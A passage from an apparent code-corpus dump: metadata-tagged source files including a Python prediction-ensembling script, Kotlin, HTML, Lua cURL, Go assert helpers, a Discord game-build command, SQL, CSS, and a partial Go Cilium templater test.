num_cases_ii = act_index.shape[0]
assert( num_cases_ii == result['preds'][ii].shape[0] )
num_cases += num_cases_ii
pred_index = np.argmax( result['preds'][ii], 1 )
for jj in range( num_cases_ii ):
if pred_index[jj] != act_index[jj]:
num_wrong += 1
print text + "----Testing Error: %2.4f" % ( 1.0 *num_wrong / num_cases )
return ( 1.0 *num_wrong / num_cases )
def main():
num_args = len(sys.argv)
# load result from file
num_nets = num_args - 1
assert( num_nets > 0 )
errors = []
# 0th net
# result['labels']
# result['preds']
result = unpickle( sys.argv[1] )
errors.append( evaluate_result( result, sys.argv[1] ) )
num_batches = len( result['labels'] )
#import pdb; pdb.set_trace()
# collet all results
for ii in range( num_nets - 1 ):
result_ii = unpickle( sys.argv[ii+2] )
# evaluate result_ii
errors.append( evaluate_result( result_ii, sys.argv[ii+2] ) )
# check num of batches is consistant
num_batches_ii = len( result_ii['labels'] )
for jj in range( num_batches ):
# check label is consistant
assert( np.array_equal(
result_ii['labels'][jj], result['labels'][jj] ) )
# nc result['pred'][jj]
result['preds'][jj] += result_ii['preds'][jj]
pickle( 'combine_result', result )
# classifier mean/std accuracy
errors = np.array( errors )
#import pdb; pdb.set_trace()
print "mean: " , str(100*np.mean( errors )) , " std: " , str(100*(np.std( errors )))
# evaluate result
evaluate_result( result, "After combine" )
if __name__ == "__main__":
main()
| 30.661972 | 87 | 0.592559 |
a9aaf9ed24fa9e87e49c6436b41954133f29a86f
| 1,353 |
kt
|
Kotlin
|
RemoteBees-Android/RemoteBeesService/src/main/java/dev/beehive/remotebees/service/manager/RemoteBeesServiceManager.kt
|
k10dev/RemoteBees
|
f819eb22fb2177fdde12109f6ce81376a8ef3d9c
|
[
"MIT"
] | null | null | null |
RemoteBees-Android/RemoteBeesService/src/main/java/dev/beehive/remotebees/service/manager/RemoteBeesServiceManager.kt
|
k10dev/RemoteBees
|
f819eb22fb2177fdde12109f6ce81376a8ef3d9c
|
[
"MIT"
] | null | null | null |
RemoteBees-Android/RemoteBeesService/src/main/java/dev/beehive/remotebees/service/manager/RemoteBeesServiceManager.kt
|
k10dev/RemoteBees
|
f819eb22fb2177fdde12109f6ce81376a8ef3d9c
|
[
"MIT"
] | null | null | null |
/***************************************************************************
* This source file is part of the RemoteBees open source project. *
* *
* Licensed under the MIT License. See LICENSE for license information *
***************************************************************************/
package dev.beehive.remotebees.service.manager
import dev.beehive.remotebees.service.api.BeehiveService
import dev.beehive.remotebees.service.api.manager.ServiceManager
import dev.beehive.remotebees.service.internal.RemotiveBeehiveService
import dev.beehive.remotebees.service.internal.couchbase.CouchbaseLiteDb
import java.lang.IllegalArgumentException
class RemoteBeesServiceManager(private val configuration: RemoteBeesServiceConfiguration): ServiceManager {
private var couchbaseDb: CouchbaseLiteDb? = null
init {
val context = this.configuration.context.get() ?: throw IllegalArgumentException("Context is null")
this.couchbaseDb = CouchbaseLiteDb(context, "RemoteBees", this.configuration.localeIdentifier)
}
override val beehiveService: BeehiveService
get() = RemotiveBeehiveService(
config = this.configuration.remotive(),
couchbaseDb = this.couchbaseDb
)
}
| 46.655172 | 107 | 0.62306 |
4da0924d6484827a387481427323cb5a7df15bde
| 1,287 |
html
|
HTML
|
public/pages/results.html
|
cdig/match-or-miss
|
8c9cb2c9d253c7ad5ddb61a419032b670c91e61b
|
[
"IJG"
] | null | null | null |
public/pages/results.html
|
cdig/match-or-miss
|
8c9cb2c9d253c7ad5ddb61a419032b670c91e61b
|
[
"IJG"
] | 2 |
2016-06-13T20:36:34.000Z
|
2018-02-25T04:17:46.000Z
|
public/pages/results.html
|
cdig/match-or-miss
|
8c9cb2c9d253c7ad5ddb61a419032b670c91e61b
|
[
"IJG"
] | null | null | null |
<div class="complete" ng-show="gameStatus.complete">
<div class="review" ng-show="gameStatus.mistakes > 0">
<div ng-show="badResults.length > 0">
<h1>Quick Review</h1>
<div class="current" ng-repeat="choice in badResults | limitTo:1">
<div class="image"><span cd-bimg="{{contentPath}}/{{choice.image}}"></span></div>
<h2 class="name">{{choice.name}}</h2>
</div>
<h3><a class="button" ng-click="badResults.shift()">Next</a></h3>
</div>
<h1 ng-hide="badResults.length > 0">You are done reviewing.</h1>
</div>
<div class="feedback">
<h1 class="yourScore">Your Score</h1>
<h1 class="quip">{{quip}}</h1>
<h2 class="stats">
{{gameDuration}} matches<br>
in {{gameStatus.time|time}} seconds<br>
with <ng-pluralize count="gameStatus.mistakes" when="{
'0':'no mistakes',
'one':'just 1 mistake',
'other':'{} mistakes'
}"></ng-pluralize>.
</h2>
<h3 class="best">
Your best so far: {{bestTime|time}} seconds.
</h3>
<h3 class="again"><a class="button" href="#/game">Play Again!</a></h3>
</div>
</div>
<h2 class="incomplete" ng-hide="gameStatus.complete">
<span>You did not complete the game.</span>
<a class="button" href="#/game">Start Again</a>
</h2>
| 34.783784 | 89 | 0.589744 |
d96c85a475d2554954202bea5d693e64fffdb972
| 498 |
lua
|
Lua
|
examples/muti.lua
|
LuaDist/lua-curl
|
3da57c928ad5c5ef24714b250ceb38f1d5d96eac
|
[
"MIT"
] | 1 |
2016-01-15T05:35:35.000Z
|
2016-01-15T05:35:35.000Z
|
examples/muti.lua
|
LuaDist/lua-curl
|
3da57c928ad5c5ef24714b250ceb38f1d5d96eac
|
[
"MIT"
] | null | null | null |
examples/muti.lua
|
LuaDist/lua-curl
|
3da57c928ad5c5ef24714b250ceb38f1d5d96eac
|
[
"MIT"
] | 1 |
2022-01-14T10:26:57.000Z
|
2022-01-14T10:26:57.000Z
|
require("cURL")
-- setup easy
c = cURL.easy_init()
c2 = cURL.easy_init()
-- setup url
c:setopt_url("http://www.example.com/")
c2:setopt_url("http://www.hoetzel.info/")
-- c.perform()
m = cURL.multi_init()
m2 = cURL.multi_init()
m:add_handle(c)
m2:add_handle(c2)
-- perform,
-- it = m:perform()
for data, type, easy in m:perform() do
if (type == "data" and c == easy) then print(data) end
end
-- for data,type,easy in m2:perform() do
-- if (type == "header") then print(data) end
-- end
| 21.652174 | 57 | 0.64257 |
a1795f55a384b6138d1e30093e3e6ef7447da5f8
| 2,266 |
go
|
Go
|
pkg/assert/assert.go
|
scottcagno/storage
|
e54fed254539aebc0588d0a736faa69dc1bfbf27
|
[
"BSD-3-Clause"
] | 1 |
2021-12-11T22:32:06.000Z
|
2021-12-11T22:32:06.000Z
|
pkg/assert/assert.go
|
scottcagno/storage
|
e54fed254539aebc0588d0a736faa69dc1bfbf27
|
[
"BSD-3-Clause"
] | null | null | null |
pkg/assert/assert.go
|
scottcagno/storage
|
e54fed254539aebc0588d0a736faa69dc1bfbf27
|
[
"BSD-3-Clause"
] | null | null | null |
package assert
import "log"
func AssertTrue(isTrue bool) {
if isTrue == true {
log.Printf("assert true: condition=%t", isTrue)
}
}
func AssertFalse(isFalse bool) {
if isFalse == false {
log.Printf("assert false: condition=%t", isFalse)
}
}
func AssertTrueMsg(isTrue bool, msg string) {
if isTrue == true {
log.Printf("%s, condition=%t", msg, isTrue)
}
}
func AssertFalseMsg(isFalse bool, msg string) {
if isFalse == false {
log.Printf("%s, condition=%t", msg, isFalse)
}
}
func AssertIfErr(err error) {
AssertIfErrMsg(err, "error")
}
func AssertIfErrMsg(err error, msg string) {
if err != nil {
log.Printf("%s %+v", msg, err)
}
}
func InfoIfTrue(isTrue bool, msg string) {
if isTrue == true {
log.Printf("%s, condition=%t", msg, isTrue)
}
}
func InfoIfFalse(isFalse bool, msg string) {
if isFalse == false {
log.Printf("%s, condition=%t", msg, isFalse)
}
}
func InfoIfErr(err error) {
InfoIfErrMsg(err, "error")
}
func InfoIfErrMsg(err error, msg string) {
if err != nil {
log.Printf("%s %+v", msg, err)
}
}
func WarnIfTrue(isTrue bool, msg string) {
if isTrue == true {
log.Printf("%s, condition=%t", msg, isTrue)
}
}
func WarnIfFalse(isFalse bool, msg string) {
if isFalse == false {
log.Printf("%s, condition=%t", msg, isFalse)
}
}
func WarnIfErr(err error) {
WarnIfErrMsg(err, "error")
}
func WarnIfErrMsg(err error, msg string) {
if err != nil {
log.Printf("%s %+v", msg, err)
}
}
func PanicIfTrue(isTrue bool, msg string) {
if isTrue == true {
log.Panicf("%s, condition=%t", msg, isTrue)
}
}
func PanicIfFalse(isFalse bool, msg string) {
if isFalse == false {
log.Panicf("%s, condition=%t", msg, isFalse)
}
}
func PanicIfErr(err error) {
PanicIfErrMsg(err, "error")
}
func PanicIfErrMsg(err error, msg string) {
if err != nil {
log.Panicf("%s %+v", msg, err)
}
}
func FailIfTrue(isTrue bool, msg string) {
if isTrue == true {
log.Fatalf("%s, condition=%t", msg, isTrue)
}
}
func FailIfFalse(isFalse bool, msg string) {
if isFalse == false {
log.Fatalf("%s, condition=%t", msg, isFalse)
}
}
func FailIfErr(err error) {
if err != nil {
log.Fatalf("error %+v", err)
}
}
func FailIfErrMsg(err error, msg string) {
if err != nil {
log.Fatalf("%s %+v", msg, err)
}
}
| 17.703125 | 51 | 0.641218 |
9c5f452b6e63404c83c69a32325619d3e819ef93
| 2,216 |
js
|
JavaScript
|
commands/weapons/all/p90.js
|
havoXD/Scav-Homie
|
ffe56db27aad444409d5c6fea646895a385f1788
|
[
"MIT"
] | null | null | null |
commands/weapons/all/p90.js
|
havoXD/Scav-Homie
|
ffe56db27aad444409d5c6fea646895a385f1788
|
[
"MIT"
] | null | null | null |
commands/weapons/all/p90.js
|
havoXD/Scav-Homie
|
ffe56db27aad444409d5c6fea646895a385f1788
|
[
"MIT"
] | null | null | null |
const config = require("../../config.json")
module.exports = {
name: 'p90',
cooldown: 30,
aliases: ['bp90', 'b p90', 'bfnp90', 'bfn p90', 'b fn p90', 'bfn-p90', 'bep90', 'be p90', 'befnp90', 'befn p90', 'be fn p90', 'befn-p90', 'brp90', 'brASh12', 'brfnp90', 'brfn p90', 'br fn p90', 'brfn-p90'],
description: 'Builds for FN P90.',
guildOnly: true,
execute(message, args) {
const Embed = {
color: 0x0099ff,
title: '**P90** Builds',
author: {
name: config.author,
url: config.invitelink
},
description: 'Type **%57** for info about ammo',
image: {
url: 'https://i.postimg.cc/5t4wXjgh/brp90.png',
},
fields: [{
name: 'BR Stats',
value: "**Ergo: 63\nVertical Recoil: 42\nHoriz Recoil: 210**",
inline: true,
},
{
name: 'BE Stats',
value: "**Ergo: 81\nVertical Recoil: 46\nHoriz Recoil: 231**",
inline: true,
},
{
name: 'B Stats',
value: "**Ergo: 72\nVertical Recoil: 45\nHoriz Recoil: 225**",
inline: true,
},
{
name: 'Notes',
value: "```Best ergo build uses FN EFFEN receiver instead of the default receiver, K&M charging handle,\nno suppressor and no extra sight.```\n```Budget build is based on a default P90 with a Damage butt pad, side rail with a x400\nand XPS3-0 is recommended on the top rail```",
},
{
name: 'Mod List',
value: (config.topTable + config.p90dmg + config.p90fh + config.p90sup + config.p90top + config.ekp18 + config.shade + config.notedSpace + config.p90r + config.knm + config.x400 + config.xps30 + config.endTable) + '\n**Best Recoil P90 ↓↓↓**',
},
],
footer: {
text: (config.gameUpdate),
},
};
message.channel.send({ embed: Embed });
},
};
| 42.615385 | 298 | 0.466155 |
7b0074d60fa1c6b99e8c6fd7415944d0de6f1eef
| 43 |
sql
|
SQL
|
tests/sql/org8.sql
|
ckeller/qcert
|
32ddd83ad8d5aab1f2b8892a5208faf5cecf3036
|
[
"Apache-2.0"
] | 53 |
2016-06-23T04:03:02.000Z
|
2022-01-20T16:16:52.000Z
|
tests/sql/org8.sql
|
ckeller/qcert
|
32ddd83ad8d5aab1f2b8892a5208faf5cecf3036
|
[
"Apache-2.0"
] | 120 |
2016-06-28T13:24:18.000Z
|
2021-09-10T06:40:44.000Z
|
tests/sql/org8.sql
|
ckeller/qcert
|
32ddd83ad8d5aab1f2b8892a5208faf5cecf3036
|
[
"Apache-2.0"
] | 13 |
2016-06-29T13:51:31.000Z
|
2021-09-10T11:18:00.000Z
|
SELECT name
FROM employees
WHERE age = 32;
| 10.75 | 15 | 0.767442 |
18590eb07a45bdeb99644228d5266b6e12fc240f
| 12,513 |
css
|
CSS
|
public/phone/css/news-1.css
|
maqsat/new_unilife
|
6edb6af232b62f6fdcfcde9d75879d2433a32fe3
|
[
"MIT"
] | null | null | null |
public/phone/css/news-1.css
|
maqsat/new_unilife
|
6edb6af232b62f6fdcfcde9d75879d2433a32fe3
|
[
"MIT"
] | 1 |
2020-04-22T19:38:56.000Z
|
2020-04-22T19:38:56.000Z
|
public/phone/css/news-1.css
|
maqsat/new_unilife
|
6edb6af232b62f6fdcfcde9d75879d2433a32fe3
|
[
"MIT"
] | null | null | null |
.version.news_1{color:#0000E2;background-color:#1C06F9;}#page{z-index:1;width:380px;min-height:754px;background-image:none;border-width:0px;border-color:#000000;background-color:transparent;}#pu6126{z-index:217;width:0.01px;height:0px;padding-bottom:92px;margin-right:-10000px;}#u6126{z-index:217;height:92px;}.js body{visibility:hidden;}.js body.initialized{visibility:visible;}#u6126-bw{z-index:217;position:fixed;left:0px;right:0px;top:0px;}#u6128-3{z-index:218;width:126px;min-height:57px;position:fixed;top:16px;left:6px;}#u6138-4{z-index:221;width:149px;min-height:33px;position:fixed;top:46px;left:148px;}#u6138-4:hover{padding-top:0px;padding-bottom:0px;min-height:33px;width:149px;margin:0px;}#u6138-4.MuseLinkActive{padding-top:0px;padding-bottom:0px;min-height:33px;width:149px;margin:0px;}#pamphletu8652{z-index:225;width:0.01px;height:46px;position:fixed;top:23px;left:319px;}#u8656{z-index:226;width:46px;height:46px;position:relative;margin-right:-10000px;}#u8657{position:absolute;width:46px;height:46px;}#u8657:hover{width:46px;height:46px;min-height:0px;margin:0px;}#u8657.PamphletThumbSelected{width:46px;height:46px;min-height:0px;margin:0px;}#u8658{z-index:228;width:46px;min-height:46px;position:relative;margin-right:-10000px;}#u8659{position:absolute;width:380px;height:500px;top:67px;left:-317px;}#u8659popup{z-index:229;}#u8660{z-index:230;width:380px;height:488px;padding-bottom:12px;margin-right:-10000px;position:relative;}#menuu8661{z-index:231;width:380px;height:472px;position:relative;margin-right:-10000px;margin-top:16px;}#u8662{width:380px;position:relative;}#u8665{width:380px;min-height:21px;padding-bottom:29px;position:relative;margin-right:-10000px;}#u8665:hover{width:380px;min-height:21px;margin:0px -10000px 0px 0px;}#u8665:active{width:380px;min-height:21px;margin:0px -10000px 0px 0px;}#u8667-4{width:380px;min-height:21px;position:relative;margin-right:-10000px;top:14px;}#u8665:hover #u8667-4{padding-top:0px;padding-bottom:0px;min-height:21px;width:380px;margin:0px -10000px 0px 0px;}#u8665:active #u8667-4{padding-top:0px;padding-bottom:0px;min-height:21px;width:380px;margin:0px -10000px 0px 0px;}#u9150{width:380px;min-height:21px;padding-bottom:29px;position:relative;margin-right:-10000px;}#u8665.MuseMenuActive,#u9150:hover{width:380px;min-height:21px;margin:0px -10000px 0px 0px;}#u9150:active{width:380px;min-height:21px;margin:0px -10000px 0px 0px;}#u9152-4{width:380px;min-height:21px;position:relative;margin-right:-10000px;top:14px;}#u8665.MuseMenuActive #u8667-4,#u9150:hover #u9152-4{padding-top:0px;padding-bottom:0px;min-height:21px;width:380px;margin:0px -10000px 0px 0px;}#u9150:active #u9152-4{padding-top:0px;padding-bottom:0px;min-height:21px;width:380px;margin:0px -10000px 0px 0px;}#u9169{width:380px;min-height:21px;padding-bottom:29px;position:relative;margin-right:-10000px;}#u9150.MuseMenuActive,#u9169:hover{width:380px;min-height:21px;margin:0px -10000px 0px 0px;}#u9169:active{width:380px;min-height:21px;margin:0px -10000px 0px 0px;}#u9170-4{width:380px;min-height:21px;position:relative;margin-right:-10000px;top:14px;}#u9150.MuseMenuActive #u9152-4,#u9169:hover #u9170-4{padding-top:0px;padding-bottom:0px;min-height:21px;width:380px;margin:0px -10000px 0px 0px;}#u9169:active #u9170-4{padding-top:0px;padding-bottom:0px;min-height:21px;width:380px;margin:0px -10000px 0px 0px;}#u11658{width:380px;min-height:21px;padding-bottom:30px;position:relative;margin-right:-10000px;}#u9169.MuseMenuActive,#u11658:hover{width:380px;min-height:21px;margin:0px -10000px 0px 0px;}#u11658:active{width:380px;min-height:21px;margin:0px -10000px 0px 0px;}#u11659-4{width:380px;min-height:21px;position:relative;margin-right:-10000px;top:15px;}#u9169.MuseMenuActive #u9170-4,#u11658:hover #u11659-4{padding-top:0px;padding-bottom:0px;min-height:21px;width:380px;margin:0px -10000px 0px 0px;}#u11658:active #u11659-4{padding-top:0px;padding-bottom:0px;min-height:21px;width:380px;margin:0px -10000px 0px 0px;}#u9213{width:380px;min-height:21px;padding-bottom:30px;position:relative;margin-right:-10000px;}#u11658.MuseMenuActive,#u9213:hover{width:380px;min-height:21px;margin:0px -10000px 0px 0px;}#u9213:active{width:380px;min-height:21px;margin:0px -10000px 0px 0px;}#u9216-4{width:380px;min-height:21px;position:relative;margin-right:-10000px;top:15px;}#u11658.MuseMenuActive #u11659-4,#u9213:hover #u9216-4{padding-top:0px;padding-bottom:0px;min-height:21px;width:380px;margin:0px -10000px 0px 0px;}#u9213:active #u9216-4{padding-top:0px;padding-bottom:0px;min-height:21px;width:380px;margin:0px -10000px 0px 0px;}#u9234{width:380px;min-height:21px;padding-bottom:30px;position:relative;margin-right:-10000px;}#u9213.MuseMenuActive,#u9234:hover{width:380px;min-height:21px;margin:0px -10000px 0px 0px;}#u9234:active{width:380px;min-height:21px;margin:0px -10000px 0px 0px;}#u9236-4{width:380px;min-height:21px;position:relative;margin-right:-10000px;top:15px;}#u9213.MuseMenuActive #u9216-4,#u9234:hover #u9236-4{padding-top:0px;padding-bottom:0px;min-height:21px;width:380px;margin:0px -10000px 0px 0px;}#u9234:active #u9236-4{padding-top:0px;padding-bottom:0px;min-height:21px;width:380px;margin:0px -10000px 0px 0px;}#u9255{width:380px;min-height:21px;padding-bottom:30px;position:relative;margin-right:-10000px;}#u9234.MuseMenuActive,#u9255:hover{width:380px;min-height:21px;margin:0px -10000px 0px 0px;}#u9255:active{width:380px;min-height:21px;margin:0px -10000px 0px 0px;}#u9258-4{width:380px;min-height:21px;position:relative;margin-right:-10000px;top:15px;}#u9234.MuseMenuActive #u9236-4,#u9255:hover #u9258-4{padding-top:0px;padding-bottom:0px;min-height:21px;width:380px;margin:0px -10000px 0px 0px;}#u9255:active #u9258-4{padding-top:0px;padding-bottom:0px;min-height:21px;width:380px;margin:0px -10000px 0px 0px;}#u9274{width:380px;min-height:21px;padding-bottom:30px;position:relative;margin-right:-10000px;}#u9255.MuseMenuActive,#u9274:hover{width:380px;min-height:21px;margin:0px -10000px 0px 0px;}#u9274:active{width:380px;min-height:21px;margin:0px -10000px 0px 0px;}#u9276-4{width:380px;min-height:21px;position:relative;margin-right:-10000px;top:15px;}#u9255.MuseMenuActive #u9258-4,#u9274:hover #u9276-4{padding-top:0px;padding-bottom:0px;min-height:21px;width:380px;margin:0px -10000px 0px 0px;}#u9274:active #u9276-4{padding-top:0px;padding-bottom:0px;min-height:21px;width:380px;margin:0px -10000px 0px 0px;}#u9147,#u9168,#u11655,#u9210,#u9231,#u9252,#u9273,#u9294{width:380px;margin-top:2px;position:relative;}#u9295{width:380px;min-height:21px;padding-bottom:30px;position:relative;margin-right:-10000px;}#u9274.MuseMenuActive,#u9295:hover{width:380px;min-height:21px;margin:0px -10000px 0px 0px;}#u9295:active{width:380px;min-height:21px;margin:0px -10000px 0px 0px;}#u9295.MuseMenuActive{width:380px;min-height:21px;margin:0px -10000px 0px 0px;}#u9298-4{width:380px;min-height:21px;position:relative;margin-right:-10000px;top:15px;}#u9274.MuseMenuActive #u9276-4,#u9295:hover #u9298-4{padding-top:0px;padding-bottom:0px;min-height:21px;width:380px;margin:0px -10000px 0px 0px;}#u9295:active #u9298-4{padding-top:0px;padding-bottom:0px;min-height:21px;width:380px;margin:0px -10000px 0px 0px;}#u9295.MuseMenuActive #u9298-4{padding-top:0px;padding-bottom:0px;min-height:21px;width:380px;margin:0px -10000px 0px 0px;}#u15935-4{z-index:286;width:34px;min-height:34px;position:fixed;top:6px;left:206px;}#u15935-4:hover{padding-top:0px;padding-bottom:0px;min-height:34px;width:34px;margin:0px;}#u15936-4{z-index:290;width:34px;min-height:34px;position:fixed;top:6px;left:161px;}#u15935-4.MuseLinkActive,#u15936-4:hover{padding-top:0px;padding-bottom:0px;min-height:34px;width:34px;margin:0px;}#u15937-4{z-index:294;width:34px;min-height:34px;position:fixed;top:7px;left:252px;}#u15936-4.MuseLinkActive,#u15937-4:hover{padding-top:0px;padding-bottom:0px;min-height:34px;width:34px;margin:0px;}#pu10421-4{z-index:2;width:0.01px;padding-bottom:0px;margin-right:-10000px;margin-top:124px;margin-left:23px;}#u10421-4{z-index:2;width:343px;min-height:19px;background-color:transparent;line-height:16px;font-size:13px;text-align:left;color:#4F575A;font-family:montserrat, sans-serif;font-weight:400;position:relative;}#u10445-4{z-index:7;width:341px;min-height:158px;background-color:transparent;line-height:38px;font-size:30px;text-align:left;color:#000000;font-family:lato, sans-serif;font-weight:900;margin-left:1px;margin-top:12px;position:relative;}#pu10448{z-index:210;width:0.01px;margin-top:39px;}#u10448{z-index:210;width:30px;height:30px;opacity:1;-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";filter:alpha(opacity=100);position:relative;margin-right:-10000px;background:transparent url("../../images/anonce1.png?crc=3791138123") no-repeat center center;background-size:contain;}#u10447-4{z-index:206;width:300px;min-height:22px;background-color:transparent;letter-spacing:0px;font-size:15px;color:#7B8392;line-height:21px;font-family:montserrat, sans-serif;font-weight:400;position:relative;margin-right:-10000px;margin-top:5px;left:42px;}#pu10446-195{z-index:11;width:0.01px;margin-top:20px;}#u10446-195{z-index:11;width:342px;min-height:2501px;background-color:transparent;font-size:16px;text-align:left;line-height:21px;color:#000000;position:relative;margin-right:-10000px;}#u10446-11,#u10446-16{font-family:lato, sans-serif;font-weight:700;}#u10446-9,#u10446-13,#u10446-18,#u10446-21,#u10446-26,#u10446-32,#u10446-37,#u10446-48,#u10446-54,#u10446-58,#u10446-62,#u10446-66,#u10446-70,#u10446-74,#u10446-78,#u10446-82,#u10446-87,#u10446-92,#u10446-98,#u10446-169,#u10446-174,#u10446-177,#u10446-178,#u10446-180,#u10446-181,#u10446-183,#u10446-185,#u10446-187{font-family:raleway, sans-serif;font-weight:600;}#u10446-2,#u10446-4,#u10446-6,#u10446-7,#u10446-10,#u10446-14,#u10446-15,#u10446-19,#u10446-20,#u10446-23,#u10446-24,#u10446-28,#u10446-29,#u10446-31,#u10446-34,#u10446-35,#u10446-39,#u10446-40,#u10446-42,#u10446-43,#u10446-45,#u10446-46,#u10446-50,#u10446-52,#u10446-56,#u10446-60,#u10446-64,#u10446-68,#u10446-72,#u10446-76,#u10446-80,#u10446-84,#u10446-85,#u10446-89,#u10446-90,#u10446-93,#u10446-95,#u10446-96,#u10446-99,#u10446-101,#u10446-103,#u10446-105,#u10446-106,#u10446-108,#u10446-110,#u10446-111,#u10446-113,#u10446-114,#u10446-116,#u10446-117,#u10446-119,#u10446-120,#u10446-122,#u10446-124,#u10446-126,#u10446-127,#u10446-129,#u10446-130,#u10446-132,#u10446-134,#u10446-135,#u10446-140,#u10446-141,#u10446-143,#u10446-144,#u10446-149,#u10446-150,#u10446-152,#u10446-154,#u10446-158,#u10446-159,#u10446-161,#u10446-162,#u10446-164,#u10446-165,#u10446-166,#u10446-167,#u10446-171,#u10446-172,#u10446-175,#u10446-188,#u10446-190,#u10446-191,#u10446-193{font-family:montserrat, sans-serif;font-weight:400;}#u10457{z-index:211;width:36px;height:36px;-webkit-transition-duration:0.4s;-webkit-transition-delay:0s;-webkit-transition-timing-function:ease-in-out;transition-duration:0.4s;transition-delay:0s;transition-timing-function:ease-in-out;opacity:1;-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";filter:alpha(opacity=100);border-radius:50px;position:relative;margin-right:-10000px;margin-top:2935px;left:154px;background:transparent url("../../images/instagram.png?crc=493010928") no-repeat center center;background-size:contain;}#u10457:hover{background-repeat:no-repeat;background-position:center center;opacity:0.85;-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=85)";filter:alpha(opacity=85);width:36px;height:36px;min-height:0px;margin:2935px -10000px 0px 0px;background-size:contain;}.fadein2{border-width:0px;border-color:#000000;background-color:transparent;}#u10420{z-index:6;width:24px;height:29px;margin-left:13px;margin-top:40px;position:relative;}.ie #u10420{background-color:#FFFFFF;opacity:0.01;-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=1)";filter:alpha(opacity=1);}.css_verticalspacer .verticalspacer{height:calc(100vh - 3977px);}#u6124{z-index:212;min-height:50px;padding-bottom:34px;}#u6125-4{z-index:213;width:380px;min-height:16px;position:relative;margin-right:-10000px;margin-top:34px;}#u6125-4:hover{padding-top:0px;padding-bottom:0px;min-height:16px;width:380px;margin:34px -10000px 0px 0px;}#u6124-bw{z-index:212;min-height:50px;margin-top:-2px;}#muse_css_mq,.html{background-color:#FFFFFF;}body{position:relative;min-width:380px;}.verticalspacer{min-height:1px;}@-ms-viewport{width:380px;}@-webkit-viewport{width:380px;}@-o-viewport{width:380px;}@-moz-viewport{width:380px;}@viewport{width:380px;}
| 12,513 | 12,513 | 0.795892 |
3d09fa6baa812e2b2a3c71a6713ef7040af6ee98
| 11,169 |
go
|
Go
|
pkg/networking/cilium/templater_test.go
|
jonahjon/eks-anywhere
|
1e44147248103a40a7a02e6f4f973d7eb03d5f71
|
[
"Apache-2.0"
] | null | null | null |
pkg/networking/cilium/templater_test.go
|
jonahjon/eks-anywhere
|
1e44147248103a40a7a02e6f4f973d7eb03d5f71
|
[
"Apache-2.0"
] | null | null | null |
pkg/networking/cilium/templater_test.go
|
jonahjon/eks-anywhere
|
1e44147248103a40a7a02e6f4f973d7eb03d5f71
|
[
"Apache-2.0"
] | 1 |
2022-03-15T14:33:30.000Z
|
2022-03-15T14:33:30.000Z
|
package cilium_test
import (
"context"
"encoding/json"
"errors"
"fmt"
"reflect"
"testing"
"github.com/golang/mock/gomock"
. "github.com/onsi/gomega"
"github.com/aws/eks-anywhere/internal/test"
"github.com/aws/eks-anywhere/pkg/api/v1alpha1"
"github.com/aws/eks-anywhere/pkg/cluster"
"github.com/aws/eks-anywhere/pkg/networking/cilium"
"github.com/aws/eks-anywhere/pkg/networking/cilium/mocks"
)
type templaterTest struct {
*WithT
ctx context.Context
t *cilium.Templater
h *mocks.MockHelm
manifest []byte
uri, version, namespace string
spec, currentSpec *cluster.Spec
}
func newtemplaterTest(t *testing.T) *templaterTest {
ctrl := gomock.NewController(t)
h := mocks.NewMockHelm(ctrl)
return &templaterTest{
WithT: NewWithT(t),
ctx: context.Background(),
h: h,
t: cilium.NewTemplater(h),
manifest: []byte("manifestContent"),
uri: "oci://public.ecr.aws/isovalent/cilium",
version: "1.9.11-eksa.1",
namespace: "kube-system",
currentSpec: test.NewClusterSpec(func(s *cluster.Spec) {
s.VersionsBundle.Cilium.Version = "v1.9.10-eksa.1"
s.VersionsBundle.Cilium.Cilium.URI = "public.ecr.aws/isovalent/cilium:v1.9.10-eksa.1"
s.VersionsBundle.Cilium.Operator.URI = "public.ecr.aws/isovalent/operator-generic:v1.9.10-eksa.1"
s.VersionsBundle.Cilium.HelmChart.URI = "public.ecr.aws/isovalent/cilium:1.9.10-eksa.1"
s.Cluster.Spec.ClusterNetwork.CNIConfig = &v1alpha1.CNIConfig{Cilium: &v1alpha1.CiliumConfig{}}
}),
spec: test.NewClusterSpec(func(s *cluster.Spec) {
s.VersionsBundle.Cilium.Version = "v1.9.11-eksa.1"
s.VersionsBundle.Cilium.Cilium.URI = "public.ecr.aws/isovalent/cilium:v1.9.11-eksa.1"
s.VersionsBundle.Cilium.Operator.URI = "public.ecr.aws/isovalent/operator-generic:v1.9.11-eksa.1"
s.VersionsBundle.Cilium.HelmChart.URI = "public.ecr.aws/isovalent/cilium:1.9.11-eksa.1"
s.Cluster.Spec.ClusterNetwork.CNIConfig = &v1alpha1.CNIConfig{Cilium: &v1alpha1.CiliumConfig{}}
}),
}
}
func (t *templaterTest) expectHelmTemplateWith(wantValues gomock.Matcher) *gomock.Call {
return t.h.EXPECT().Template(t.ctx, t.uri, t.version, t.namespace, wantValues)
}
func eqMap(m map[string]interface{}) gomock.Matcher {
return &mapMatcher{m: m}
}
// mapMacher implements a gomock matcher for maps
// transforms any map or struct into a map[string]interface{} and uses DeepEqual to compare
type mapMatcher struct {
m map[string]interface{}
}
func (e *mapMatcher) Matches(x interface{}) bool {
xJson, err := json.Marshal(x)
if err != nil {
return false
}
xMap := &map[string]interface{}{}
err = json.Unmarshal(xJson, xMap)
if err != nil {
return false
}
return reflect.DeepEqual(e.m, *xMap)
}
func (e *mapMatcher) String() string {
return fmt.Sprintf("matches map %v", e.m)
}
func TestTemplaterGenerateUpgradePreflightManifestSuccess(t *testing.T) {
wantValues := map[string]interface{}{
"cni": map[string]interface{}{
"chainingMode": "portmap",
},
"ipam": map[string]interface{}{
"mode": "kubernetes",
},
"identityAllocationMode": "crd",
"prometheus": map[string]interface{}{
"enabled": true,
},
"rollOutCiliumPods": true,
"tunnel": "geneve",
"image": map[string]interface{}{
"repository": "public.ecr.aws/isovalent/cilium",
"tag": "v1.9.11-eksa.1",
},
"operator": map[string]interface{}{
"image": map[string]interface{}{
"repository": "public.ecr.aws/isovalent/operator",
"tag": "v1.9.11-eksa.1",
},
"prometheus": map[string]interface{}{
"enabled": true,
},
"enabled": false,
},
"preflight": map[string]interface{}{
"enabled": true,
"image": map[string]interface{}{
"repository": "public.ecr.aws/isovalent/cilium",
"tag": "v1.9.11-eksa.1",
},
},
"agent": false,
}
tt := newtemplaterTest(t)
tt.expectHelmTemplateWith(eqMap(wantValues)).Return(tt.manifest, nil)
